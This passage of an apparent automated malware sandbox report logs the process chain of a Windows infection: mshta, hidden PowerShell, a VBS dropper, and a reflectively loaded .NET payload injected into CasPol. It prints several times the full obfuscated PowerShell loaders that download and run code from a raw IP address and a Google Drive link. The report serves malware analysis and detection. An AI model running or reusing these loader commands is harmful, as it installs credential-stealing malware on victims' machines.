7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\mpqqyenbumlfhmiakqc"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\wjwiyxyvivdsjteetbolyxd"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\hljbzpjxwdvxtzshkmjmbbyzqg"
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.ExeJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline"Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7781.tmp" "c:\Users\user\AppData\Local\Temp\htcuymda\CSCED218374D5764718ADCDD459E0E116EB.TMP"Jump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess created: unknown unknownJump to behavior
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.cmdline"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs"
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC6F7.tmp" "c:\Users\user\AppData\Local\Temp\1vm3e1kt\CSC4B568FC3E3A64456AB5664CB529ACC2C.TMP"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\mpqqyenbumlfhmiakqc"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\wjwiyxyvivdsjteetbolyxd"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\hljbzpjxwdvxtzshkmjmbbyzqg"
                Source: C:\Windows\System32\mshta.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dwmapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: rpcrtremote.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: webio.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: nlaapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: oleacc.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: sxs.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: credssp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: bcrypt.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: scrrun.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: msls31.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: d2d1.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dwrite.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dxgi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: d3d11.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: d3d10warp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dwmapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: rpcrtremote.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: webio.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: nlaapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: oleacc.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: sxs.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: credssp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: bcrypt.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: scrrun.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: msls31.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: d2d1.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dwrite.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dxgi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: d3d11.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: d3d10warp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dll
